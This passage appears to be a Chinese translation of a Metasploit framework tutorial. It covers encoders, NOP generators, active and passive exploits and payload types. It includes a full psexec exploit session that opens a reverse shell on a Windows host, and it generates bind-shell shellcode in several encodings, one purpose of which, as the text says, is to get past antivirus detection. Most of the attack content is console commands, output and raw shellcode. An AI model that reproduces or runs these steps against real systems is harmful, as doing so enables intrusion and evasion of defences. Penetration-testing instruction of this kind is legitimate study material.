cmd/ifs low Generic ${IFS} Substitution Command Encoder
cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility Command Encoder
generic/none normal The "none" Encoder
mipsbe/longxor normal XOR Encoder
mipsle/longxor normal XOR Encoder
php/base64 great PHP Base64 encoder
ppc/longxor normal PPC LongXOR Encoder
ppc/longxor_tag normal PPC LongXOR Encoder
sparc/longxor_tag normal SPARC DWORD XOR Encoder
x64/xor normal XOR Encoder
x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_utf8_tolower manual Avoid UTF8/tolower
x86/call4_dword_xor normal Call+4 Dword XOR Encoder
x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder
x86/context_stat manual stat(2)-based Context Keyed Payload Encoder
x86/context_time manual time(2)-based Context Keyed Payload Encoder
x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-Alpha Encoder
x86/nonupper low Non-Upper Encoder
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
x86/single_static_bit manual Single Static Bit
x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
nops
’show nops’显示 Metasploit 可用 NOP 生成器.
msf > show nops
NOP Generators
==============
Name Disclosure Date Rank Description
---- --------------- ---- -----------
armle/simple normal Simple
php/generic normal PHP Nop Generator
ppc/simple normal Simple
sparc/random normal SPARC NOP generator
tty/generic normal TTY Nop Generator
x64/simple normal Simple
x86/opty2 normal Opty2
x86/single_byte normal Single Byte
use
当你决定启用某个模块时,可以使用’use’命令选择所需模块.’use’命令可以完成一个模块向另
一个模块的切换.注意先前设置的全局变量对模块的影响.
Exploits
Metasploit 框架中的 exploits 可以分为两类: 主动型与被动型
主动型 exploits
主动型能够直接溢出特定主机.
暴力破解模块成功从受害者机器获得一个 shell 后,就会退出.
如果在执行过程中遇到错误,模块也会停止运行.
可以使用’-j’让一个模块在后台运行.
msf exploit(ms08_067_netapi) > exploit -j
[*] Exploit running as background job.
msf exploit(ms08_067_netapi) >
例如:
可以通过一组有效的证书(明文密码或者 hash),从目标机获取一个反弹 shell.
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set RHOST 192.168.1.100
RHOST => 192.168.1.100
msf exploit(psexec) > set PAYLOAD windows/shell/reverse_tcp
PAYLOAD => windows/shell/reverse_tcp
msf exploit(psexec) > set LHOST 192.168.1.5
LHOST => 192.168.1.5
msf exploit(psexec) > set LPORT 4444
LPORT => 4444
msf exploit(psexec) > set SMBUSER victim
SMBUSER => victim
msf exploit(psexec) > set SMBPASS s3cr3t
SMBPASS => s3cr3t
msf exploit(psexec) > exploit
[*] Connecting to the server...
[*] Started reverse handler
[*] Authenticating as user 'victim'...
[*] Uploading payload...
[*] Created \hikmEeEM.exe...
[*] Binding to 367abb81-9844-35f1-ad32-
98f038001003:2.0@ncacn_np:192.168.1.100[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-
98f038001003:2.0@ncacn_np:192.168.1.100[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (ciWyCVEp - "MXAVZsCqfRtZwScLdexnD")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \hikmEeEM.exe...
[*] Sending stage (240 bytes)
[*] Command shell session 1 opened (192.168.1.5:4444 ->
192.168.1.100:1073)
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
注意: 如果溢出失败,出现下面错误,
[-] Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::ErrorCode
引起的原因,可能有:
UAC 安全设置
此溢出方法无效,可选用其他方法.
被动型 exploits
被动型 exploits,等待主机连接并对他进行溢出.
被动型 exploits 常见于浏览器,FTP 这样的客户端工具等.
被动型 exploits 可以用邮件发出去,等待连入.
查看被动型 exploits 建立的会话,可以使用’sessions -l’,使用’-i’可以进入指定
的 shell 会话
msf exploit(ani_loadimage_chunksize) > sessions -l
Active sessions
===============
Id Description Tunnel
-- ----------- ------
1 Meterpreter 192.168.1.5:52647 -> 192.168.1.100:4444
msf exploit(ani_loadimage_chunksize) > sessions -i 1
[*] Starting interaction with 1...
meterpreter >
Using Exploits
如果想为一个 exploit 添加额外设置,可以使用’show’命令查看选项内容
Targets
msf exploit(ms09_050_smb2_negotiate_func_index) > show targets
Exploit targets:
Id Name
-- ----
0 Windows Vista SP1/SP2 and Server 2008 (x86)
Payloads
msf exploit(ms09_050_smb2_negotiate_func_index) > show payloads
Compatible Payloads
===================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
generic/custom normal Custom Payload
generic/debug_trap normal Generic x86 Debug Trap
generic/shell_bind_tcp normal Generic Command Shell, Bind TCP Inline
generic/shell_reverse_tcp normal Generic Command Shell, Reverse TCP
Inline
generic/tight_loop normal Generic x86 Tight Loop
windows/adduser normal Windows Execute net user /ADD
...snip...
Options
msf exploit(ms09_050_smb2_negotiate_func_index) > show options
Module options (exploit/windows/smb/ms09_050_smb2_negotiate_func_index):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes The target port
WAIT 180 yes The number of seconds to wait for
the attack to complete.
Exploit target:
Id Name
-- ----
0 Windows Vista SP1/SP2 and Server 2008 (x86)
Advanced
msf exploit(ms09_050_smb2_negotiate_func_index) > show advanced
Module advanced options:
Name : CHOST
Current Setting:
Description : The local client address
Name : CPORT
Current Setting:
Description : The local client port
...snip...
Evasion
msf exploit(ms09_050_smb2_negotiate_func_index) > show evasion
Module evasion options:
Name : SMB::obscure_trans_pipe_level
Current Setting: 0
Description : Obscure PIPE string in TransNamedPipe (level 0-3)
Name : SMB::pad_data_level
Current Setting: 0
Description : Place extra padding between headers and data (level 0-3)
Name : SMB::pad_file_level
Current Setting: 0
Description : Obscure path names used in open/create (level 0-3)
...snip...
Payloads
Measploit 有三种不同类型的 payload: Singles, Stagers, Stages.
这些不同类型的模块有很大的通用性,在很多场景下,它们都很有效.
判断一个 payload 是否阶段性的,以 payload 名前面的’/’为准.例如:
windows/shell_bind_tcp 是一个独立的 payload 模块,
windows/shell/bind_tcp 则是由 bind_tcp(stager)与 shell(stage)组成.
Singles
独立类型的 payload,完全独立,包含自己运行所需的条件。一个独立的 payload 可以完成一
些简单的任务,例如添加用户或执行计算器.
Stagers
Stagers 小而可靠,主要用于在攻击者与受害者之间建立网络连接。要一直满足上面的要求是很
困难的,这就导致出现了多个类似的 stagers。如果可以,Metasploit 能够选择最合适的
stagers,当然在需要的时候,也可以选择其他的.
Windows NX vs NO-NX Stagers
NX CPUs 和 DEP 的可靠性问题
NX stagers 比较大(VirtualAlloc)
默认兼容 NX + WIN7
Stages
Stages 指那些被 Stagers 模块下载的攻击载荷组件.不同类型的 stages 攻击载荷拥有不同的
特性,例如: Meterpreter,VNC Injection,iPhone ‘ipwn’ shell 这些都是没有大小限
制的.
Stages 会自动调用’middle stagers’
一个单独的 recv()不能够完成大型 payloads 的接收工作.
Stager 可以接受中型 stager
中型 stager 可以完成一次完整的下载
也比 RWX 优秀
Payload Types
Metasploit 包含许多不同类型的 payloads,每个都有它独特的作用。下面来了解一下各种类
型的 payloads.
Inline(Non Staged)
一个独立的 payload,包含溢出代码和用于特定任务的 shellcode。Inline payload 较同类
型的 payload 稳定,因为它们将所有的功能都集中在一起。然而,也有一些大小的有效载荷无法
得到支持.
Staged
Stager payload 与 stage payload 一同用于完成指定任务。Stager 用于在攻击者与受害者
间建立连接,并在远程主机上执行 stage payload.
Meterpreter
Meterpreter,是 Meta-Interpreter 的缩写,它是一个高级的,多方位的 payload。
Meterpreter 驻留在远程主机的内存中,不会在磁盘上留下任何记录,这让传统的鉴定技术很难
发现。脚本和插件可以按照需求动态的加载与卸载,Meterpreter 的开发也在不断的完善和强
大。
PassiveX
PassiveX 可用于避开限制性出站防火墙,主要是通过 ActiveX control 创建一个隐藏的 IE
实例,使用这个新的 ActiveX control 对象,来与攻击者进行 HTTP 交互。
NoNX
NX(No eXecute)字节位属于某些 CPU 的特性,用于阻止代码从内存中执行.Windows 系统中的
常见 NX 为 DEP。Metasploit NoNX 主要用于避开 DEP。
Ord
优点:
对 Windowx 9x 后各语言版本有效,无须严格定义一个返回地址.
相当小
不足:
依赖 ws2_32.dll,在溢出前,进程需要已经加载它.
较其他 stagers payload 而言,稳定性不是很好.
IPv6
用于 IPv6 网络
Reflective DLL Injection
反射型 DLL 注入,是一种将 stage payload 直接注入主机内存,不与主机磁盘交互的机制.VNC
和 Meterpreter payloads 均采用的是这种方式.
详情请查阅:
Reflective DLL Injection
http://blog.harmonysecurity.com/2008/10/new-paper-reflective-dll-
injection.html
Generating Payloads
在溢出代码的开发过程中,你可能需要生成 exploit 所需的 shellcode。msfconsole 可以用
于生成 payloads。当你启用一个 payload,Metasploit 会添
加’generate’,’pry’,’reload’命令,其中 generate 即关注 payload 产生这一块.
msf > use payload/windows/shell_bind_tcp
msf payload(shell_bind_tcp) > help
...snip...
Command Description
------- -----------
generate Generates a payload
pry Open a Pry session on the current module
reload Reload the current module from disk
’generate -h’查看一下’generate’命令各参数的用法.
msf payload(shell_bind_tcp) > generate -h
Usage: generate [options]
Generates a payload.
OPTIONS:
-E Force encoding.
-b <opt> The list of characters to avoid: '\x00\xff'
-e <opt> The name of the encoder module to use.
-f <opt> The output file name (otherwise stdout)
-h Help banner.
-i <opt> the number of encoding iterations.
-k Keep the template executable functional
-o <opt> A comma separated list of options in VAR=VAL format.
-p <opt> The Platform for output.
-s <opt> NOP sled length.
-t <opt> The output format:
raw,ruby,rb,perl,pl,c,js_be,js_le,java,dll,exe,exe-
small,elf,macho,vba,vbs,loop-vbs,asp,war
-x <opt> The executable template to use
使用’generate’命令,不指定任何选项,可以直接生成 shellcode.
msf payload(shell_bind_tcp) > generate
# windows/shell_bind_tcp - 341 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" +
"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" +
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" +
"\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" +
"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" +
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" +
"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" +
"\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f" +
"\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29" +
"\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50" +
"\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7\x31" +
"\xdb\x53\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68" +
"\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff" +
"\xd5\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7" +
"\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3" +
"\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44" +
"\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56" +
"\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86" +
"\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60" +
"\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5" +
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f" +
"\x6a\x00\x53\xff\xd5"
当然,像这样没有任何调整的 shellcode 是很少见的,大部分情况下,我们不这样做.针对目标
机,破坏性的字符和特定的编码器会被使用.
上面的 shellcode 包含一个较普遍的坏字符(\x00).有些 exploits 允许我们使用它,但不多.
这次让我们来去掉这个不想要的字符,生成同样的 shellcode.
为了完成这个任务,我们需要在’generate’的’-b’参数后面加上不想要的字节.
msf payload(shell_bind_tcp) > generate -b '\x00'
# windows/shell_bind_tcp - 368 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\xdb\xde\xba\x99\x7c\x1b\x5f\xd9\x74\x24\xf4\x5e\x2b\xc9" +
"\xb1\x56\x83\xee\xfc\x31\x56\x14\x03\x56\x8d\x9e\xee\xa3" +
"\x45\xd7\x11\x5c\x95\x88\x98\xb9\xa4\x9a\xff\xca\x94\x2a" +
"\x8b\x9f\x14\xc0\xd9\x0b\xaf\xa4\xf5\x3c\x18\x02\x20\x72" +
"\x99\xa2\xec\xd8\x59\xa4\x90\x22\x8d\x06\xa8\xec\xc0\x47" +
"\xed\x11\x2a\x15\xa6\x5e\x98\x8a\xc3\x23\x20\xaa\x03\x28" +
"\x18\xd4\x26\
...snip...
Null 字节被成功移除,但是 shellcode 发现发生了变化,原来的是 341 字节,现在变为 368
字节,增加了 27 个字节.
在产生 shellcode 的过程中,Null 字节或者一些其他无用的字节,需要被替换(或编码),以确
保我们的 shell 仍可以发挥它的作用.
另外一种选择,就是采用编码器.默认情况下,Metasploit 会使用最好的编码器来完成这项任
务。
当指定坏字符,Metasploit 会使用最好的编码器.如果只是 Null 字节限制,那么会使用’
x86/shikata_ga_nai’编码器.如果我们添加一些破坏性的字符,那么一个不同的编码器会被使用.
msf payload(shell_bind_tcp) > generate -b
'\x00\x44\x67\x66\xfa\x01\xe0\x44\x67\xa1\xa2\xa3\x75\x4b'
# windows/shell_bind_tcp - 366 bytes
# http://www.metasploit.com
# Encoder: x86/fnstenv_mov
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\x6a\x56\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xbf" +
"\x5c\xbf\xe8\x83\xeb\xfc\...
...snip...
Metasploit 有能力处理一些字符,但是如果指定的字符很多而不指定编码器,可能会出现下面
的消息.
msf payload(shell_bind_tcp) > generate -b
'\x00\x44\x67\x66\xfa\x01\xe0\x44\x67\xa1\xa2\xa3\x75\x4b\xFF\x0a\x0b\x
01\xcc\6e\x1e\x2e\x26'
[-] Payload generation failed: No encoders encoded the buffer
successfully.
就像上面所提到的,Metasploit 在生成我们所需的 payload 时,会选择最合适的编码器。然而
现在我们想指定一个我们需要的类型,而不是让 Metasploit 帮我们选择。想象一下一个包含非
字母数字的漏洞成功的执行。’shikata_ga_nai’编码器在这种情况下会不合适,因为它会对每
个字符进行编码。
接下来看一下编码器列表:
msf payload(shell_bind_tcp) > show encoders
Encoders
========
Name Disclosure Date Rank Description
---- --------------- ---- -----------
...snip...
x86/call4_dword_xor normal Call+4 Dword XOR Encoder
x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder
x86/context_stat manual stat(2)-based Context Keyed Payload Encoder
x86/context_time manual time(2)-based Context Keyed Payload Encoder
x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder
x86/context_stat manual stat(2)-based Context Keyed Payload Encoder
x86/context_time manual time(2)-based Context Keyed Payload Encoder
x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-Alpha Encoder
x86/nonupper low Non-Upper Encoder
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
x86/single_static_bit manual Single Static Bit
x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
接着我们用’nonalpha’编码器来重新生成,
msf payload(shell_bind_tcp) > generate -e x86/nonalpha
# windows/shell_bind_tcp - 489 bytes
# http://www.metasploit.com
# Encoder: x86/nonalpha
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\x66\xb9\xff\xff\xeb\x19\x5e\x8b\xfe\x83\xc7\x70\x8b\xd7" +
"\x3b\xf2\x7d\x0b\xb0\x7b\xf2\xae\xff\xcf\xac\x28\x07\xeb" +
"\xf1\xeb\x75\xe8\xe2\xff\xff\xff\x17\x29\x29\x29\x09\x31" +
"\x1a\x29\x24\x29\x39\x03\x07\x31\x2b\x33\x23\x32\x06\x06" +
"\x23\x23\x15\x30\x23\x37\x1a\x22\x21\x2a\x23\x21\x13\x13" +
"\x04\x08\x27\x13\x2f\x04\x27\x2b\x13\x10\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x13\x28\x13\x11\x25\x24\x13\x14\x28\x24\x13\x28" +
"\x28\x24\x13\x07\x24\x13\x06\x0d\x2e\x1a\x13\x18\x0e\x17" +
"\x24\x24\x24\x11\x22\x25\x15\x37\x37\x37\x27\x2b\x25\x25" +
"\x25\x35\x25\x2d\x25\x25\x28\x25\x13\x02\x2d\x25\x35\x13" +
"\x25\x13\x06\x34\x09\x0c\x11\x28\xfc\xe8\x89\x00\x00\x00" +
...snip...
结果同设想的一样,我们的 payload 不包含任何字符数字。但是在使用非默认编码器的时候,我
们需要注意,得到的 payload 会较大。
接下来,使用’-f’参数,将生成的 payload 输出到一个文件里面。
msf payload(shell_bind_tcp) > generate -b '\x00' -e x86/shikata_ga_nai
-f /root/msfu/filename.txt
[*] Writing 1803 bytes to /root/msfu/filename.txt...
msf payload(shell_bind_tcp) > cat ~/msfu/filename.txt
[*] exec: cat ~/msfu/filename.txt
# windows/shell_bind_tcp - 368 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\xdb\xcb\xb8\x4f\xd9\x99\x0f\xd9\x74\x24\xf4\x5a\x2b\xc9" +
"\xb1\x56\x31\x42\x18\x83\xc2\x04\x03\x42\x5b\x3b\x6c\xf3" +
"\x8b\x32\x8f\x0c\x4b\x25\x19\xe9\x7a\x77\x7d\x79\x2e\x47" +
"\xf5\x2f\xc2\x2c\x5b\xc4\x51\x40\x74\xeb\xd2\xef\xa2\xc2" +
"\xe3\xc1\x6a\x88\x27\x43\x17\xd3\x7b\xa3\x26\x1c\x8e\xa2" +
"\x6f\x41\x60\xf6\x38\x0d\xd2\xe7\x4d\x53\xee\x06\x82\xdf" +
"\x4e\x71\xa7\x20\x3a\xcb\xa6\x70\x92\x40\xe0\x68\x99\x0f" +
"\xd1\x89\x4e\x4c\x2d\xc3\xfb\xa7\xc5\xd2\x2d\xf6\x26\xe5" +
...snip...
使用’-i’参数,就是指明在产生最终 payload 前,所需的编码次数。多次编码的目的是绕过反病
毒检测。
下面对比一下进行一次编码与两次编码的 shellcode.
msf payload(shell_bind_tcp) > generate -b '\x00'
# windows/shell_bind_tcp - 368 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\xdb\xd9\xb8\x41\x07\x94\x72\xd9\x74\x24\xf4\x5b\x2b\xc9" +
"\xb1\x56\x31\x43\x18\x03\x43\x18\x83\xeb\xbd\xe5\x61\x8e" +
"\xd5\x63\x89\x6f\x25\x14\x03\x8a\x14\x06\x77\xde\x04\x96" +
"\xf3\xb2\xa4\x5d\x51\x27\x3f\x13\x7e\x48\x88\x9e\x58\x67" +
"\x09\x2f\x65\x2b\xc9\x31\x19\x36\x1d\x92\x20\xf9\x50\xd3" +
"\x65\xe4\x9a\x81\x3e\x62\x08\x36\x4a\x36\x90\x37\x9c\x3c" +
...snip...
msf payload(shell_bind_tcp) > generate -b '\x00' -i 2
# windows/shell_bind_tcp - 395 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\xbd\xea\x95\xc9\x5b\xda\xcd\xd9\x74\x24\xf4\x5f\x31\xc9" +
"\xb1\x5d\x31\x6f\x12\x83\xc7\x04\x03\x85\x9b\x2b\xae\x80" +
"\x52\x72\x25\x16\x6f\x3d\x73\x9c\x0b\x38\x26\x11\xdd\xf4" +
"\x80\xd2\x1f\xf2\x1d\x96\x8b\xf8\x1f\xb7\x9c\x8f\x65\x96" +
"\xf9\x15\x99\x69\x57\x18\x7b\x09\x1c\xbc\xe6\xb9\xc5\xde" +
"\xc1\x81\xe7\xb8\xdc\x3a\x51\xaa\x34\xc0\x82\x7d\x6e\x45" +
"\xeb\x2b\x27\x08\x79\xfe\x8d\xe3\x2a\xed\x14\xe7\x46\x45" +
...snip...
对比上面的两种编码情况,我们会发现:
1. 2 次编码得到的 payload 较 1 次大。
2. 1 次编码与 2 次编码,部分 code 相同(查阅黄色部分)
也就是说,第二次编码只是对第一次黄色代码下面的部分进行处理。
下面来看一下 5 次编码后的结果.
msf payload(shell_bind_tcp) > generate -b '\x00' -i 5
# windows/shell_bind_tcp - 476 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\xb8\xea\x18\x9b\x0b\xda\xc4\xd9\x74\x24\xf4\x5b\x33\xc9" +
"\xb1\x71\x31\x43\x13\x83\xeb\xfc\x03\x43\xe5\xfa\x6e\xd2" +
"\x31\x23\xe4\xc1\x35\x8f\x36\xc3\x0f\x94\x11\x23\x54\x64" +
"\x0b\xf2\xf9\x9f\x4f\x1f\x01\x9c\x1c\xf5\xbf\x7e\xe8\xc5" +
"\x94\xd1\xbf\xbb\x96\x64\xef\xc1\x10\x9e\x38\x45\x1b\x65" +
...snip...
代码较之前大,也与之前的 shellcode 没有相似之处。
如果想要自行指定 payload 参数,可先使用’show options’查看 payload 的参数.
msf payload(shell_bind_tcp) > show options
Module options (payload/windows/shell_bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process,
none
LPORT 4444 yes The listen port
RHOST no The target address
然后使用’-o’改变参数值,
msf payload(shell_bind_tcp) > generate -o LPORT=1234,EXITFUNC=seh -b
'\x00' -e x86/shikata_ga_nai
# windows/shell_bind_tcp - 368 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=1234, RHOST=, EXITFUNC=seh,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\xdb\xd1\xd9\x74\x24\xf4\xbb\x93\x49\x9d\x3b\x5a\x29\xc9" +
"\xb1\x56\x83\xc2\x04\x31\x5a\x14\x03\x5a\x87\xab\x68\xc7" +
"\x4f\xa2\x93\x38\x8f\xd5\x1a\xdd\xbe\xc7\x79\x95\x92\xd7" +
"\x0a\xfb\x1e\x93\x5f\xe8\x95\xd1\x77\x1f\x1e\x5f\xae\x2e" +
"\x9f\x51\x6e\xfc\x63\xf3\x12\xff\xb7\xd3\x2b\x30\xca\x12" +
"\x6b\x2d\x24\x46\x24\x39\x96\x77\x41\x7f\x2a\x79\x85\x0b" +
"\x12\x01\xa0\xcc\xe6\xbb\xab\x1c\x56\xb7\xe4\x84\xdd\x9f" +
...snip...
Metasploit 默认生成的是’ruby’格式的 payload,虽然 ruby 很强大,很流行,但并不是人
人都用它来开发代码。我们可以使用’-t’参数,按照自己的需求生成对应的 shellcode。
msf payload(shell_bind_tcp) > generate
# windows/shell_bind_tcp - 341 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
...snip...
msf payload(shell_bind_tcp) > generate -t c
/*
* windows/shell_bind_tcp - 341 bytes
* http://www.metasploit.com
* VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
* InitialAutoRunScript=, AutoRunScript=
*/
unsigned char buf[] =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
...snip...
msf payload(shell_bind_tcp) > generate -t java
/*
* windows/shell_bind_tcp - 341 bytes
* http://www.metasploit.com
* VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
* InitialAutoRunScript=, AutoRunScript=
*/
byte shell[] = new byte[]
{
(byte) 0xfc, (byte) 0xe8, (byte) 0x89, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x60, (byte) 0x89,
(byte) 0xe5, (byte) 0x31, (byte) 0xd2, (byte) 0x64, (byte) 0x8b, (byte) 0x52, (byte) 0x30, (byte) 0x8b,
(byte) 0x52, (byte) 0x0c, (byte) 0x8b, (byte) 0x52, (byte) 0x14, (byte) 0x8b, (byte) 0x72, (byte) 0x28,
(byte) 0x0f, (byte) 0xb7, (byte) 0x4a, (byte) 0x26, (byte) 0x31, (byte) 0xff, (byte) 0x31, (byte) 0xc0,
(byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0xc1,
...snip...
如果需要添加 NOP(不执行 或 接下来执行)sled,可以使用参数’-s’加上 NOPs 数。这样在我
们的 payload 起始位置就会添加指定长度的 NOPs sled。请记住 sled 越大,payload 也就越
大。
msf payload(shell_bind_tcp) > generate
# windows/shell_bind_tcp - 341 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
...snip...
msf payload(shell_bind_tcp) > generate -s 14
# windows/shell_bind_tcp - 355 bytes
# http://www.metasploit.com
# NOP gen: x86/opty2
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\xb9\xd5\x15\x9f\x90\x04\xf8\x96\x24\x34\x1c\x98\x14\x4a" +
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
...snip...
Databases
在完成一次渗透测试的时候,记录目标网络的所有是一项很有挑战性的任务。Metasploit
Postgresql 数据库的出现就是为了节约时间。
这样,我们有能力快速访问扫描信息,导入导出第三方工具的结果。更重要的是,这让我们的结果
结构清晰。
msf payload(shell_bind_tcp) > help Database
Database Backend Commands
=========================
Command Description
------- -----------
creds List all credentials in the database
db_connect Connect to an existing database
db_disconnect Disconnect from the current database instance
db_export Export a file containing the contents of the database
db_import Import a scan result file (filetype will be auto-detected)
db_nmap Executes nmap and records the output automatically
db_rebuild_cache Rebuilds the database-stored module cache
db_status Show the current database status
hosts List all hosts in the database
loot List all loot in the database
notes List all notes in the database
services List all services in the database
vulns List all vulnerabilities in the database
workspace Switch between database workspaces
msf > hosts
Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
192.168.100.140 NIX-III Microsoft Windows 7 SP1 client
msf > services -p 21
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
172.16.194.172 21 tcp ftp open vsftpd 2.3.4
Using the Database
Contents
1 Workspaces
2 Importing & Scanning
3 Backing Up
4 Hosts
5 Setting up Modules
6 Services
7 CSV Export
8 Creds
9 Loot
